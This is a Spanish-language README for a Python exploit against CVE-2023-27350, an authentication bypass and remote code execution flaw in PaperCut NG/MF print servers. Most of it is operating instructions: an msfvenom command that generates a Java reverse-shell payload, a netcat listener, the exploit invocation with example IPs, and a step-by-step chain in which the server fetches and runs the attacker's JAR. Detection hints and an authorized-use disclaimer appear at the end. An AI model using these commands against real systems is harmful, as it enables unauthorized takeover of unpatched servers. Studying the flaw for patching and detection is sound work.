Este exploit se basa en CVE-2023-27350 y fue construido sobre el exploit original de horizon3ai y el módulo Metasploit.
Exploit independiente en Python para la vulnerabilidad crítica de omisión de autenticación y ejecución remota de código en PaperCut NG/MF. CVSS 9.8.
CVE-2023-27350 afecta a PaperCut NG y MF en versiones anteriores a 20.1.7, 21.2.11 y 22.0.9. La falla permite a un atacante no autenticado acceder al endpoint /app?service=page/SetupCompleted — una página de configuración diseñada para ser accesible solo durante la instalación inicial — y obtener una sesión administrativa válida sin ninguna credencial.
Con acceso de administrador, el atacante puede habilitar el mecanismo de scripting de impresión de PaperCut e inyectar código arbitrario ejecutado por la JVM del servidor, resultando en RCE completa en el contexto del usuario del servicio.
| Rama | Versión Corregida |
|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
Las versiones 18.x y anteriores no recibieron parche oficial.
Este exploit fue desarrollado a partir del análisis de dos implementaciones públicas:
Runtime.exec() con una cadena simple para ejecutar comandosRuntime.exec(String) no procesa metacaracteres de shell (>&, |, 0>&1), lo que hace que los payloads de reverse shell sean inefectivos. El script también codifica el ID de impresora (l1001) y verifica cadenas de éxito solo en inglés, fallando en instancias que no son en inglés.exploit/multi/http/papercut_ng_rceURLClassLoader, evitando cualquier dependencia de shell.nc.Python 3.x
requests
msfvenom (parte de Metasploit Framework)
nc (netcat)
pip install requests
1. Generar el payload JAR
msfvenom -p java/shell_reverse_tcp \
LHOST=<TU_IP> LPORT=<PUERTO_SHELL> \
-f jar -o payload.jar
2. Iniciar un listener
nc -lvnp <PUERTO_SHELL>
3. Ejecutar el exploit
python exploit.py \
-u http://<OBJETIVO>:9191 \
-j payload.jar \
-lh <TU_IP> \
-lp <PUERTO_HTTP> \
-rp <PUERTO_SHELL>
Ejemplo:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
| Parámetro | Descripción | Por Defecto |
|---|---|---|
-u / --url | URL base de PaperCut | requerido |
-j / --jar | Ruta a payload.jar | requerido |
-lh / --lhost | Tu IP (el objetivo se conectará aquí) | requerido |
-lp / --lport | Puerto HTTP para servir el JAR | 9090 |
-rp / --rport | Puerto de reverse shell | 4444 |
1. Omisión de autenticación vía /app?service=page/SetupCompleted
↓
2. Obtener JSESSIONID de admin sin credenciales
↓
3. Seleccionar [Template Printer] (l1001)
↓
4. Inyectar script RhinoJS en el campo de script de impresión
↓
5. El script crea un URLClassLoader apuntando a nuestro servidor HTTP
↓
6. La JVM de PaperCut descarga y ejecuta payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted sin una sesión previaprint-and-device.script.enabled y print.script.sandboxed (versiones >= 19)URLClassLoader con una URL externa en los registros de la JVMEste exploit se proporciona con fines educativos y solo para uso autorizado (pruebas de penetración, CTF, entornos de laboratorio). El uso no autorizado contra sistemas sin permiso explícito es ilegal. El autor no se responsabiliza por ningún mal uso.